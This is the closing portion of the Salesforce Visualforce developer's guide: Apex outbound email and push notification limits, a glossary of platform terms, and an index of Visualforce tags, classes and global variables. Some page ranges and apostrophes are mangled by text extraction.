Outbound Email: Limits for Single and Mass Email Sent Using Apex
Using the API or Apex, you can send single emails to a maximum of 5,000 external email addresses per day based on Greenwich
Mean Time (GMT). Single emails sent using the email author or composer in Salesforce don't count toward this limit. Theres no limit
on sending individual emails to contacts, leads, person accounts, and users in your org directly from account, contact, lead, opportunity,
case, campaign, or custom object pages.
When sending single emails, keep in mind:
You can specify up to 100 recipients for the To field and up to 25 recipients for the CC and BCC fields in each
SingleEmailMessage.
If you use SingleEmailMessage to email your orgs internal users, specifying the users ID in setTargetObjectId
means the email doesnt count toward the daily limit. However, specifying internal users email addresses in setToAddresses
means the email does count toward the limit.
You can send mass email to a maximum of 5,000 external email addresses per day per org based on Greenwich Mean Time (GMT).
715
Note:
The single and mass email limits don't take unique addresses into account. For example, if you have
[email protected] in your email 10 times, that counts as 10 against the limit.
You can send an unlimited amount of email to your orgs internal users, which includes portal users.
You can send mass emails only to contacts, person accounts, leads, and your orgs internal users.
In Developer Edition orgs and orgs evaluating Salesforce during a trial period, you can send mass email to no more than
10 external email addresses per day. This lower limit doesnt apply if your org was created before the Winter 12 release
and already had mass email enabled with a higher limit. Additionally, your org can send single emails to a maximum of
15 email addresses per day.
50,000
35,000
5,000
Only deliverable notifications count toward this limit. For example, consider the scenario where a notification is sent to 1,000 employees
in your company, but 100 employees havent installed the mobile application yet. Only the notifications sent to the 900 employees who
have installed the mobile application count toward this limit.
Each test push notification that is generated through the Test Push Notification page is limited to a single recipient. Test push notifications
count toward an applications daily push notification limit.
716
GLOSSARY
A |B |C |D |E |F |G |H |I |J |K |L |M |N |O |P |Q |R |S |T |U |V |W |X |Y |Z
A
Account
An account is an organization, company, or consumer that you want to trackfor example, a customer, partner, or competitor.
Activity
An event, a task, a call you've logged, or an email you've sent. You can relate an activity to other records, such as an account, a lead,
an opportunity, or a case. In an org with Shared Activities enabled, you can relate an activity to multiple contacts. Tasks can also be
generated by workflow rules and approval processes configured by a Salesforce admin.
Administrator (System Administrator)
One or more individuals in your organization who can configure and customize the application. Users assigned to the System
Administrator profile have administrator privileges.
Apex
Apex is a strongly typed, object-oriented programming language that allows developers to execute flow and transaction control
statements on the Force.com platform server in conjunction with calls to the Force.com API. Using syntax that looks like Java and
acts like database stored procedures, Apex enables developers to add business logic to most system events, including button clicks,
related record updates, and Visualforce pages. Apex code can be initiated by Web service requests and from triggers on objects.
Apex Controller
See Controller, Visualforce.
Apex Page
See Visualforce Page.
API Version
See Version.
App
Short for application. A collection of components such as tabs, reports, dashboards, and Visualforce pages that address a specific
business need. Salesforce provides standard apps such as Sales and Call Center. You can customize the standard apps to match the
way you work. In addition, you can package an app and upload it to the AppExchange along with related components such as
custom fields, custom tabs, and custom objects. Then, you can make the app available to other Salesforce users from the AppExchange.
B
Boolean Operators
You can use Boolean operators in report filters to specify the logical relationship between two values. For example, the AND operator
between two values yields search results that include both values. Likewise, the OR operator between two values yields search results
that include either value.
717
Glossary
C
Campaign
A marketing initiative, such as an advertisement, direct mail, or conference, that you conduct in order to generate prospects and
build brand awareness.
Case
Detailed description of a customers feedback, problem, or question. Used to track and solve your customers issues.
Clone
Clone is the name of a button or link that allows you to create a new item by copying the information from an existing item, for
example, a contact or opportunity.
Collapsible Section
Sections on detail pages that users can hide or show.
Contact
Contacts are the individuals associated with your accounts.
Contract
A contract is an agreement defining the terms of business between parties.
Controller, Visualforce
An Apex class that provides a Visualforce page with the data and business logic it needs to run. Visualforce pages can use the standard
controllers that come by default with every standard or custom object, or they can use custom controllers.
Controller Extension
A controller extension is an Apex class that extends the functionality of a standard or custom controller.
Component, Visualforce
Something that can be added to a Visualforce page with a set of tags, for example, <apex:detail>. Visualforce includes a
number of standard components, or you can create your own custom components.
Component Reference, Visualforce
A description of the standard and custom Visualforce components that are available in your organization. You can access the
component library from the development footer of any Visualforce page or the Visualforce Developer's Guide.
Cookie
Client-specific data used by some Web applications to store user and session-specific information. Salesforce issues a session cookie
only to record encrypted authentication information for the duration of a specific session.
Custom Controller
A custom controller is an Apex class that implements all of the logic for a page without leveraging a standard controller. Use custom
controllers when you want your Visualforce page to run entirely in system mode, which does not enforce the permissions and
field-level security of the current user.
Custom Field
A field that can be added in addition to the standard fields to customize Salesforce for your organizations needs.
Custom Help
Custom text administrators create to provide users with on-screen information specific to a standard field, custom field, or custom
object.
Custom Links
Custom links are URLs defined by administrators to integrate your Salesforce data with external websites and back-office systems.
Formerly known as Web links.
718
Glossary
Custom Object
Custom records that allow you to store information unique to your organization.
Custom S-Control
Note: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never created
s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain unaffected, and can
still be edited.
Custom Web content for use in custom links. Custom s-controls can contain any type of content that you can display in a browser,
for example a Java applet, an Active-X control, an Excel file, or a custom HTML Web form.
Custom App
See App.
D
Data State
The structure of data in an object at a particular point in time.
Dependent Field
Any custom picklist or multi-select picklist field that displays available values based on the value selected in its corresponding
controlling field.
Detail
A page that displays information about a single object record. The detail page of a record allows you to view the information, whereas
the edit page allows you to modify it.
A term used in reports to distinguish between summary information and inclusion of all column data for all information in a report.
You can toggle the Show Details/Hide Details button to view and hide report detail information.
Detail View
The Agent console's center frame, which is the detail page view of any record selected from any of the consoles other frames. The
detail view displays the same page layouts defined for the objects detail pages. When a record is displayed in the detail view, it is
highlighted in the list view.
Developer Edition
A free, fully-functional Salesforce organization designed for developers to extend, integrate, and develop with the Force.com platform.
Developer Edition accounts are available on developer.salesforce.com.
E
Email Template
A form email that communicates a standard message, such as a welcome letter to new employees or an acknowledgement that a
customer service request has been received. Email templates can be personalized with merge fields, and can be written in text,
HTML, or custom format.
Event
An event is an activity that has a scheduled time. For example, a meeting, or a scheduled phone call.
719
Glossary
F
Facet
A child of another Visualforce component that allows you to override an area of the rendered parent with the contents of the facet.
Field-Level Help
Custom help text that you can provide for any standard or custom field. It displays when users hover a mouse over the help icon
adjacent to that field.
Force.com App Menu
A menu that enables users to switch between customizable applications (or apps) with a single click. The Force.com app menu
displays at the top of every page in the user interface.
Formula Field
A type of custom field. Formula fields automatically calculate their values based on the values of merge fields, expressions, or other
values.
Function
Built-in formulas that you can customize with input parameters. For example, the DATE function creates a date field type from a
given year, month, and day.
G
Get Request
A get request is made when a user initially requests a Visualforce page, either by entering a URL or clicking a link or button.
Getter Methods
Methods that enable developers to display database and other computed values in page markup.
Methods that return values. See also Setter Methods.
H
No Glossary items for this entry.
I
No Glossary items for this entry.
J
Junction Object
A custom object with two master-detail relationships. Using a custom junction object, you can model a many-to-many relationship
between two objects. For example, you may have a custom object called Bug that relates to the standard case object such that a
bug could be related to multiple cases and a case could also be related to multiple bugs.
720
Glossary
K
No Glossary items for this entry.
L
Lead
A lead is a sales prospect who has expressed interest in your product or company.
Length
Parameter for custom text fields that specifies the maximum number of characters (up to 255) that a user can enter in the field.
Parameter for number, currency, and percent fields that specifies the number of digits you can enter to the left of the decimal point,
for example, 123.98 for an entry of 3.
M
Master-Detail Relationship
A relationship between two different types of records that associates the records with each other. For example, accounts have a
master-detail relationship with opportunities. This type of relationship affects record deletion, security, and makes the lookup
relationship field required on the page layout.
Merge Field
A merge field is a field you can put in an email template, mail merge template, custom link, or formula to incorporate values from
a record. For example, Dear {!Contact.FirstName}, uses a contact merge field to obtain the value of a contact record's
First Name field to address an email recipient by his or her first name.
Mobile Configuration
A set of parameters that determines the data Salesforce transmits to users' mobile devices, and which users receive that data on
their mobile devices. Organizations can create multiple mobile configurations to simultaneously suit the needs of different types of
mobile users.
N
Notes
Miscellaneous information pertaining to a specific record.
O
Object
An object allows you to store information in your Salesforce organization. The object is the overall definition of the type of information
you are storing. For example, the case object allow you to store information regarding customer inquiries. For each object, your
organization will have multiple records that store the information about specific instances of that type of data. For example, you
might have a case record to store the information about Joe Smith's training inquiry and another case record to store the information
about Mary Johnson's configuration issue.
721
Glossary
Object-Level Help
Custom help text that you can provide for any custom object. It displays on custom object record home (overview), detail, and edit
pages, as well as list views and related lists.
Opportunities
Opportunities track your sales and pending deals.
Organization
A deployment of Salesforce with a defined set of licensed users. An organization is the virtual space provided to an individual customer
of Salesforce. Your organization includes all of your data and applications, and is separate from all other organizations.
Outbound Message
An outbound message sends information to a designated endpoint, like an external service. Outbound messages are configured
from Setup. You must configure the external endpoint and create a listener for the messages using the SOAP API.
Owner
Individual user to which a record (for example, a contact or case) is assigned.
P
Package Version
A package version is a number that identifies the set of components uploaded in a package. The version number has the format
majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor numbers increase to a chosen
value during every major release. The patchNumber is generated and updated only for a patch release.
Unmanaged packages are not upgradeable, so each package version is simply a set of components for distribution. A package version
has more significance for managed packages. Packages can exhibit different behavior for different versions. Publishers can use
package versions to evolve the components in their managed packages gracefully by releasing subsequent package versions without
breaking existing customer integrations using the package. See also Patch and Patch Development Organization.
Page Layout
Page layout is the organization of fields, custom links, and related lists on a record detail or edit page. Use page layouts primarily for
organizing pages for your users. In Professional, Enterprise, Unlimited, Performance, and Developer Editions, use field-level security
to restrict users access to specific fields.
Partial Page
An AJAX behavior where only a specific portion of a page is updated following some user action, rather than a reload of the entire
page.
Postback Request
A postback request is made when user interaction requires a Visualforce page update, such as when a user clicks on a Save button
and triggers a save action.
Primary Contact
Field in company information that lists the primary contact for your organization.
Also indicates the primary contact associated with an account, contract, or opportunity. Specified as a checkbox in the Contact Roles
related list of an account, contract, or opportunity.
Product
A product is any item or service your organization sells. Products are defined in a price book, and can be added to opportunities.
Available in Professional, Enterprise, Unlimited, Performance, and Developer Editions only.
Prototype object
This is a single sObject contained within the Visualforce StandardSetController class. If the prototype object's fields are set, those
values are used during the save action, meaning that the values are applied to every record in the set controller's collection.
722
Glossary
Q
No Glossary items for this entry.
R
Read Only
One of the standard profiles to which a user can be assigned. Read Only users can view and report on information based on their
role in the organization. (That is, if the Read Only user is the CEO, they can view all data in the system. If the Read Only user has the
role of Western Rep, they can view all data for their role and any role below them in the hierarchy.)
Record
A single instance of a Salesforce object. For example, John Jones might be the name of a contact record.
Record Type
A record type is a field available for certain records that can include some or all of the standard and custom picklist values for that
record. You can associate record types with profiles to make only the included picklist values available to users with that profile.
Related List
A section of a record or other detail page that lists items related to that record. For example, the Stage History related list of an
opportunity or the Open Activities related list of a case.
Related Object
Objects chosen by an administrator to display in the Agent console's mini view when records of a particular type are shown in the
console's detail view. For example, when a case is in the detail view, an administrator can choose to display an associated account,
contact, or asset in the mini view.
Relationship
A connection between two objects, used to create related lists in page layouts and detail levels in reports. Matching values in a
specified field in both objects are used to link related data; for example, if one object stores data about companies and another
object stores data about people, a relationship allows you to find out which people work at the company.
Report
A report returns a set of records that meets certain criteria, and displays it in organized rows and columns. Report data can be filtered,
grouped, and displayed graphically as a chart. Reports are stored in folders, which control who has access. See Tabular Report,
Summary Report, and Matrix Report.
S
S-Control
Note: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never created
s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain unaffected, and can
still be edited.
Custom Web content for use in custom links. Custom s-controls can contain any type of content that you can display in a browser,
for example a Java applet, an Active-X control, an Excel file, or a custom HTML Web form.
Salesforce API Version
See Version.
723
Glossary
Sites
Force.com Sites enables you to create public websites and applications that are directly integrated with your Salesforce
organizationwithout requiring users to log in with a username and password.
Skeleton Template
A type of Visualforce template that uses the <apex:composition> tag. Skeleton templates define a standard structure that
requires implementation from subsequent pages.
Solution
A solution is a detailed description of the resolution to a customer issue.
T
Text
Data type of a custom field that allows entry of any combination of letters, numbers, or symbols, up to a maximum length of 255
characters.
Text Area
A custom field data type that allows entry of up to 255 characters on separate lines.
Text Area (Long)
See Long Text Area.
U
User Interface
The layouts that specify how a data model should be displayed.
V
Version
A number value that indicates the release of an item. Items that can have a version include API objects, fields and calls; Apex classes
and triggers; and Visualforce pages and components.
View
The user interface in the Model-View-Controller model, defined by Visualforce.
View State
Where the information necessary to maintain the state of the database between requests is saved.
Visualforce
A simple, tag-based markup language that allows developers to easily define custom pages and components for apps built on the
platform. Each tag corresponds to a coarse or fine-grained component, such as a section of a page, a related list, or a field. The
components can either be controlled by the same logic that is used in standard Salesforce pages, or developers can associate their
own logic with a controller written in Apex.
Visualforce Lifecycle
The stages of execution of a Visualforce page, including how the page is created and destroyed during the course of a user session.
724
Glossary
Visualforce Page
A web page created using Visualforce. Typically, Visualforce pages present information relevant to your organization, but they can
also modify or capture data. They can be rendered in several ways, such as a PDF document or an email attachment, and can be
associated with a CSS style.
W
No Glossary items for this entry.
X
No Glossary items for this entry.
Y
No Glossary items for this entry.
Z
No Glossary items for this entry.
725
INDEX
@readonly 9697
@remoteaction 9697
@RemoteAction 214, 217219, 224, 226
<flow:interview>
advanced example 255
allowShowPause 263
pausedInterviewId 264
usage 254, 257, 261
$Component global variable 299, 338
$User global variable 18
$User.UITheme global variable type 50
$User.UIThemeDisplayed global variable type 50
A
About Visualforce 2
Accessing custom components 150
action attribute 24, 341
Action class
instantiation 658
Action global variable type 176, 604
Action methods 92, 119
actionFunction tag 119, 186, 302, 338
actionPoller tag 92, 119, 186
Actions
standard controller 75
actionStatus tag 43, 156, 344
actionSupport tag 44, 92, 119, 186, 224, 273, 338
Ajax
asynchronous operation status 43
DOM events 44
JavaScript events 44
partial page updates 42
AJAX Toolkit 1
analytics:reportChart tag 347
Apex
class security 95
classes used with controllers 654
apex:actionFunction tag 349
apex:actionPoller tag 352
apex:actionRegion tag 353
apex:actionStatus tag 355
apex:actionSupport tag 358
apex:areaSeries tag 360
apex:attribute tag 362
apex:axis tag 364
apex:barSeries tag 366
726
Index
ApexPages.Message
class 674
ApexPages.StandardController
class 693
ApexPages.StandardSetController
class 699
prototype object 699
API 1
API 38.0 9
API global variable type 612
Architecture
controller extension 9899, 101
custom controller 9899, 101
execution order 98
get request 99
MVC 6
postback request 101
view state 101
Visualforce 4
areaSeries tag 213214, 219, 231, 235
Asynchronous operation status 43
attachment tag 207
Attachments, adding to email templates 207
attribute tag 151
Attributes
action 24
controller 116, 136
custom 56
default 151
for 338
HTML5 56
id 338
id attribute 151
on HTML tags 56
rendered attribute 151
rerender 338
reRender 42, 44
showHeader 48
standardController 74
standardStylesheets 48
status 338
style 47, 49
styleClass 47, 49
tabStyle 46, 118
Auto-completion 5
axis tag 213214, 216, 219, 231233, 235, 238239
B
barSeries tag 213214, 216, 219, 231, 233, 235
727
Index
Benefits, Visualforce 5
Best practices
controllers 342
facets 343
improving performance 337
pageBlockSectionItem 345
panelBar 346
PDF 345
render as PDF 345
static resources 341
BlackBerry
development 279
Buttons
overriding 139
Salesforce styles 49
C
c namespace 150
Cache.Session global variable 612
caching 58
Cascading style sheets
extending Salesforce 46
identifying Salesforce look and feel 50
removing Salesforce 48
Salesforce 49
chart tag 213219, 224, 226, 231233, 235, 237239
chartLabel tag 213214, 219, 231233, 235, 237, 239
chartTips tag 213214, 219, 231, 233
chatter:feed tag 552
chatter:feedWithFollowers tag 553
chatter:follow tag 554
chatter:followers tag 555
chatter:newsfeed tag 555
chatter:userPhotoUpload tag 556
chatteranswers:aboutme tag 556
chatteranswers:allfeeds tag 557
chatteranswers:changepassword tag 557
chatteranswers:datacategoryfilter tag 558
chatteranswers:feedfilter tag 558
chatteranswers:feeds tag 559
chatteranswers:forgotpassword tag 560
chatteranswers:forgotpasswordconfirm tag 560
chatteranswers:guestsignin tag 561
chatteranswers:help tag 561
chatteranswers:login tag 562
chatteranswers:registration tag 562
chatteranswers:searchask tag 563
chatteranswers:singleitemfeed tag 564
Classes
ApexPages.Action 657
ApexPages.IdeaStandardController 665
ApexPages.IdeaStandardSetController 667
ApexPages.KnowledgeArticleVersionStandardController 670
ApexPages.Message 674
ApexPages.StandardController 693
ApexPages.StandardSetController 699
System.ApexPages 655
System.Cookie 660
System.PageReference 678
System.SelectOption 687
Visualforce 114
Code
security 647
column tag 343
commandButton tag 24, 27, 41, 92, 119, 186
commandLink tag 24, 27, 4142, 92, 119, 186
comments
conditional 51
IE 51
Internet Explorer 51
common.css 49
Communities 617
Compiling 16
Component global variable type 613
Component reference
using 19
component tag 150
ComponentLabel global variable type 614
Components, custom
See Custom components 148
composition tag 269
compound ID 338
Constructors
custom controller 87
ContentType 55
Controllers
about 18
addFields method 156
architecture 98
best practices 342
creating custom 116, 136
creating custom action methods 119
creating custom getter methods 117
creating custom navigation methods 121
creating dependent controllers and pages 123
custom 8687, 9697, 654
custom component 153
728
Index
Controllers (continued)
custom list 90
execution order 98
extending 654
extensions 86, 89, 9697, 156
get requests 99
governor limits 97
large queries 9697
methods 92
order of method instantiation 97
postback requests 101
Read Only Context 9697
reset method 156
security 95
sharing rules 342
standard 74
testing 110
validation rules 76, 113
view state 98, 101
Visualforce Mobile 277
Controllers, Visualforce
maintaining view state 114
transient keyword 114
Conventions 10
Cross-platform mobile development 281
CSS styles
extending Salesforce 46
identifying Salesforce look and feel 50
removing Salesforce 48
Salesforce 49
Visualforce Mobile 277
CurrentPage global variable 39
CurrentPage global variable type 614
Custom components
about 148
attributes 151
controllers 153
default attributes 151
defining 149
email template styles in 206
markup 150
namespaces, componentBody 150
using in markup 150
Custom controllers
action methods 92
and email templates 211
architecture 98
building 87
considerations when creating 97
D
Dashboard components, Visualforce
advanced 130
basic 31
Data model 1
dataTable tag 3738, 343
debugging 309
define tag 269
Dependent picklists
adding 28
detail tag 20, 202
Developer Edition 3
Development
environments 12
729
Index
Development (continued)
guidelines 12
security 647
tools 12
View State tab 12
Development mode
enabling 12
Documentation typographical conventions 10
Documents compared to static resources 145146
DOM ID 299, 338, 613
Dynamic Visualforce
components 188
Dynamic Visualforce binding
custom objects 165
global variables 173, 176, 178
globals 173, 176, 178
lists 168
maps 168
packages 165
standard objects 156
Dynamic Visualforce components
action methods 186
deferred creation 186
implementation guidelines 183
order of execution 186
dynamicComponent tag 183, 186
E
Editions
supported Salesforce 3
supported Salesforce Classic Mobile 275
Email
attachments 197
sending 194
templates 201
email merge fields 617
Email templates
attachments 207
creating 202
stylesheets 204
translating 202
using custom controllers 211
emailTemplate tag 202
Environments 12
Events, JavaScript 44
Execution order
examples 103
Expression operators 644
Extensions, controller
action methods 92
architecture 98
considerations when creating 97
execution order 98
get requests 99
getter methods 92
getting and setting data 94
governor limits 97
leftmost 89
order of method instantiation 97
overriding 89
postback requests 101
setter methods 93
testing 110
view state 98, 101
F
facet tag 4243, 156, 343
Features, new 9
field sets 615
Field Sets
creating 170
dynamic references 170
using 170
Fields
describe results 620
FieldSet global variable type 615
finishLocation 265
Fixes, quick 5, 120
Flash 6
Flow collection values
getting 261
setting 257
Flow constant values
getting 261
setting 257
Flow sObject variable values
getting 261
setting 257
Flow variable values
getting 261
setting 257
flow:interview tag 564
Flows
customize user interface 266
embedding 253254
finishLocation 253, 265
run time 266
730
Index
Flows (continued)
run time UI customization 253
for attribute 338
Force.com platform
about 1
form tag 2425, 27, 41, 194, 202
form tag, Visualforce 131
Forms
accessibility 25, 27
creating 2425, 27
field label 25
field order 27
input field 25
label 25
tab order 27
Functions 631
G
gaugeSeries tag 213214, 219, 231, 238
geolocation 241243, 245, 247, 249
Get requests 99
getName() method 116
Getter methods 92, 117
Global variables
$Action 176, 604
$Api 612
$Cache.Session 612
$Component 299, 338, 613
$ComponentLabel 614
$CurrentPage 614
$FieldSet 615
$Label 615
$Label.Site 615
$Network 617
$ObjectType 178, 618620
$Organization 623
$Page 624
$Permission 624
$Profile 625
$Resource 173, 625
$SControl 626
$Setup 626
$Site 627
$System.OriginDateTime 629
$User 18, 630
$User.UITheme 50, 630
$User.UIThemeDisplayed 50, 630
$UserRole 631
CurrentPage 39
H
Hello World example
creating a page 16
displaying field values 18
Help, custom 341
Highlighting, syntax 5
HTML
comments 51
container page 53
content type 46
data attribute 46
doctype 46, 5254
doctype declaration 54
document type 46, 54
Document Type Definition 54
DTD 54
empty page 53
html5 5253
HTML5 54, 58
IE 51
Internet Explorer 51
manifest attribute 58
tags 5253
tidying 52
HTML5
attributes 56
JavaScript frameworks 56
jQuery Mobile 56
Knockout.js 56
mobile 56
htmlEmailBody tag 202
I
id attribute 338
id query string parameter 39
ideas:detailOutputLink tag 565
ideas:listOutputLink tag 567
ideas:profileListOutputLink tag 568
IdeaStandardController class
instantiation 665
IdeaStandardSetController class
instantiation 667
IDEs 12
image tag, 131
731
Index
JavaScript
@RemoteAction 325
Ajax 42
Ajax asynchronous operation status 43
events 44
jQuery 329
jQuery Mobile 329
library for Visualforce Mobile 283
mobile 325
partial page updates 42
remote method override 325
Remote Objects 312, 314, 316317, 319321, 323325, 329,
334, 336
remoting 301310, 312, 314, 316317, 319321, 323325,
329, 334, 336
using DOM ID 299, 338, 613
Visualforce 299
JavaScript library
Visualforce 300
JavaScript remoting 224, 226
JavaScript Remoting
debugging 309
limits 310
Keywords
transient 114
knowledge:articleCaseToolbar tag 570
732
Index
Message class
instantiation 674
severity enum 674
Message severity 674
Messaging namespace
EmailFileAttachment class 197
SingleEmailMessage class 194
messaging:attachment tag 582
messaging:emailHeader tag 584
messaging:emailTemplate tag 585
messaging:htmlEmailBody tag 587
messaging:plainTextEmailBody tag 589
Methods
action 92, 119
DescribeFieldResult object 620
DescribeSObjectResult object 619
getName() 116
getter 92, 117
navigation 121
setter 93
mobile 58, 241243, 245, 247, 249
Mobile
@RemoteAction 325
example code 325
JavaScript 325
Remote Objects 325
see Visualforce Mobile 275
mobile configurations 286
MVC architecture 6
N
Namespaces
c 150
custom component 150
Navigation 121, 123
Network 617
Network global variable type 617
New features in this release 9
O
ObjectType global variable type 178, 618620
Operators, expression 644
Organization global variable type 623
outputField tag 144
outputLabel tag 27, 338
outputLink tag 27, 41
outputPanel tag 42, 44, 345
outputText tag 156
Overriding
buttons 139
tab home pages 139
Overview
Salesforce Classic Mobile 275
Visualforce 2
Visualforce Mobile 275
P
packages 165
Page creation 16
Page editor 17
Page global variable type 624
Page layouts
limitations 1
page parameters 614
page tag
contentType attribute 60
renderAs attribute 5960, 71
pageBlock tag 19, 46, 202
pageBlockSectionItem tag 345
pageBlockTable tag 3738
pageMessage tag 50
PageReference 624
PageReference class
instantiation 678
navigation example 680
query string example 679
PageReference object 118, 121
PageReference objects 120
Pages
BlackBerry development 279
cross-platform mobile development 281
CSS 46
iPhone development 278
mobile development 277
styling 46
panelBar tag 346
param tag 41
Parameters
getting query string 39
query string id 39
setting query string 41
Partial page updates 42
PDF
limitations 68, 70
render as 5960, 63, 68, 7071
PDF, best practice 345
PDF, render as 35
733
Index
Q
Query string parameters
getting 39
setting 41
testing with 110
Quick fixes 5, 120
Quick start
creating a page 16
displaying field values 18
Editing table data 38
PDF 35
redirecting pages 24
render as PDF 35
specifying a controller 18
Quick start tutorial, Visualforce 16
R
radarSeries tag 213214, 219, 231, 239
Read Only Context 9697
Record types 144
Redirecting to a static resource 341
Reference, component
See Component reference 19
relatedList tag 32, 42
Release notes 9
Remote Objects
@RemoteAction 325
business logic 334
callback functions 323
considerations 334
create 316, 324
del 320, 324
delete 320, 324
example code 312, 325, 329
limitations 336
limits 336
query criteria 321
remote method override 324325
retrieve 317, 321, 324
S
S-controls
compared with Visualforce pages 7
limitations 1
Salesforce Classic Mobile
mobile configurations 286
overview 275
Salesforce editions, supported 3
Salesforce styles
removing 48
Saving 16
scatterSeries tag 213214, 219, 231, 235
SControl global variable type 626
Security
code 647
formulas 649
Visualforce 649
Security, controller 95
selectCheckboxes tag 25, 27
selectList tag 25, 27
SelectOption
example 688
instantiation 687
selectOption tag, Visualforce 131
selectRadio tag 25, 27
selectRadio tag, Visualforce 131
Session Cache 612
Setter methods 93
Setup global variable type 626
Severity, messages 674
Sharing rules 342
showHeader attribute 48
Site global variable type 627
site:googleAnalyticsTracking tag 590
site:previewAsAdmin tag 591
734
Index
sObjects
describe result methods 619
social:profileViewer tag 592
Standard controllers
accessing data 74
actions 75
associating with pages 74
extending 86, 89
styling pages that use 76
validation rules 76
Standard object list 24
StandardController
example 694
standardController attribute 74
StandardController class
instantiation 694
StandardSetController
example 699
prototype object 136
StandardSetController class
instantiation 699
standardStylesheets attribute 48
Static resource 173, 625
Static resources
redirecting to 341
status attribute 338
style attribute 47, 49
Style sheets
See Cascading style sheets. 49
styleClass attribute 47, 49
stylesheet tag 4647, 49
Stylesheets
email template 204
Styling pages
removing Salesforce styles 48
standard controllers and 76
with custom styles 47, 49
with Salesforce styles 46, 49
support:caseArticles tag 593
support:caseFeed tag 595
support:caseUnifiedFiles tag 595
support:clickToDial tag 596
support:portalPublisher tag 597
Syntax highlighting 5
System global variable 118
System mode 87
System.ApexPages
class 655
System.Cookie
class 660
System.OriginDateTime global variable type 629
System.PageReference
class 678
System.SelectOption
class 687
T
Tables
dataTable tag 3738
pageBlockTable tag 3738
Tabs
overriding 139
Visualforce Mobile 286
tabStyle attribute 46, 118
Tags
actionFunction 119, 186, 302, 338
actionPoller 92, 119, 186
actionStatus 43, 156, 344
actionSupport 44, 92, 119, 186, 224, 273, 338
analytics:reportChart 347
apex:actionFunction 349
apex:actionPoller 352
apex:actionRegion 353
apex:actionStatus 355
apex:actionSupport 358
apex:areaSeries 360
apex:attribute 362
apex:axis 364
apex:barSeries 366
apex:canvasApp 369
apex:chart 372
apex:chartLabel 374
apex:chartTips 376
apex:column 377
apex:commandButton 382
apex:commandLink 385
apex:component 388
apex:componentBody 390
apex:composition 393
apex:dataList 394
apex:dataTable 396
apex:define 402
apex:detail 403
apex:dynamicComponent 405
apex:emailPublisher 406
apex:enhancedList 408
apex:facet 410
735
Index
Tags (continued)
apex:flash 411
apex:form 412
apex:gaugeSeries 416
apex:iframe 417
apex:image 418
apex:include 421
apex:includeLightning 422
apex:includeScript 422
apex:inlineEditSupport 423
apex:input 425
apex:inputCheckbox 428
apex:inputField 432
apex:inputFile 435
apex:inputHidden 438
apex:inputSecret 439
apex:inputText 442
apex:inputTextarea 444
apex:insert 447
apex:legend 448
apex:lineSeries 449
apex:listViews 452
apex:logCallPublisher 453
apex:map 454
apex:mapInfoWindow 456
apex:mapMarker 458
apex:message 459
apex:messages 461
apex:milestoneTracker 463
apex:outputField 464
apex:outputLabel 466
apex:outputLink 468
apex:outputPanel 471
apex:outputText 473
apex:page 475
apex:pageBlock 480
apex:pageBlockButtons 483
apex:pageBlockSection 485
apex:pageBlockSectionItem 488
apex:pageBlockTable 492
apex:pageMessage 497
apex:pageMessages 498
apex:panelBar 499
apex:panelBarItem 501
apex:panelGrid 503
apex:panelGroup 507
apex:param 508
apex:pieSeries 509
apex:radarSeries 511
Tags (continued)
apex:relatedList 513
apex:remoteObjectField 514
apex:remoteObjectModel 515
apex:remoteObjects 516
apex:repeat 516
apex:scatterSeries 519
apex:scontrol 521
apex:sectionHeader 522
apex:selectCheckboxes 523
apex:selectList 527
apex:selectOption 530
apex:selectOptions 533
apex:selectRadio 535
apex:stylesheet 539
apex:tab 539
apex:tabPanel 542
apex:toolbar 545
apex:toolbarGroup 549
apex:variable 551
apex:vote 552
areaSeries 213214, 219, 231, 235
attachment 207
attribute 151
axis 213214, 216, 219, 231233, 235, 238239
barSeries 213214, 216, 219, 231, 233, 235
chart 213219, 224, 226, 231233, 235, 237239
chartLabel 213214, 219, 231233, 235, 237, 239
chartTips 213214, 219, 231, 233
chatter:feed 552
chatter:feedWithFollowers 553
chatter:follow 554
chatter:followers 555
chatter:newsfeed 555
chatter:userPhotoUpload 556
chatteranswers:aboutme 556
chatteranswers:allfeeds 557
chatteranswers:changepassword 557
chatteranswers:datacategoryfilter 558
chatteranswers:feedfilter 558
chatteranswers:feeds 559
chatteranswers:forgotpassword 560
chatteranswers:forgotpasswordconfirm 560
chatteranswers:guestsignin 561
chatteranswers:help 561
chatteranswers:login 562
chatteranswers:registration 562
chatteranswers:searchask 563
chatteranswers:singleitemfeed 564
736
Index
Tags (continued)
column 343
commandButton 24, 27, 41, 92, 119, 186
commandLink 24, 27, 4142, 92, 119, 186
component 150
componentBody 150
composition 269
dataTable 3738, 343
define 269
detail 20, 202
dynamicComponent 183, 186
emailTemplate 202
facet 4243, 156, 343
flow:interview 564
form 2425, 27, 41, 194, 202
gaugeSeries 213214, 219, 231, 238
HTML 56
htmlEmailBody 202
ideas:detailOutputLink 565
ideas:listOutputLink 567
ideas:profileListOutputLink 568
include 41, 273, 277
inputCheckbox 2425, 27
inputField 6, 2425, 27, 144, 338
inputFile 27
inputHidden 24
inputSecret 2425, 27
inputText 2425, 27, 156
inputTextarea 2425, 27
insert 269
knowledge:articleCaseToolbar 570
knowledge:articleList 571
knowledge:articleRendererToolbar 572
knowledge:articleTypeList 573
knowledge:categoryList 574
legend 213214, 219, 231233, 235, 237, 239
lineSeries 213214, 219, 231, 235
liveAgent:clientChat 574
liveAgent:clientChatAlertMessage 575
liveAgent:clientChatCancelButton 576
liveAgent:clientChatEndButton 576
liveAgent:clientChatFileTransfer 577
liveAgent:clientChatInput 578
liveAgent:clientChatLog 578
liveAgent:clientChatLogAlertMessage 579
liveAgent:clientChatMessages 580
liveAgent:clientChatQueuePosition 580
liveAgent:clientChatSaveButton 581
liveAgent:clientChatSendButton 581
Tags (continued)
liveAgent:clientChatStatusMessage 582
messaging:attachment 582
messaging:emailHeader 584
messaging:emailTemplate 585
messaging:htmlEmailBody 587
messaging:plainTextEmailBody 589
outputField 144
outputLabel 27, 338
outputLink 27, 41
outputPanel 42, 44, 56, 345
outputText 156
page 17, 24, 46, 5960, 71, 74, 9697, 186, 341
pageBlock 19, 46, 202
pageBlockSectionItem 345
pageBlockTable 3738
pageMessage tag 50
panelBar 346
param 41
pieSeries 213214, 219, 231, 237
plainTextEmailBody 202
radarSeries 213214, 219, 231, 239
relatedList 32, 42, 188
repeat 156, 202, 346
scatterSeries 213214, 219, 231, 235
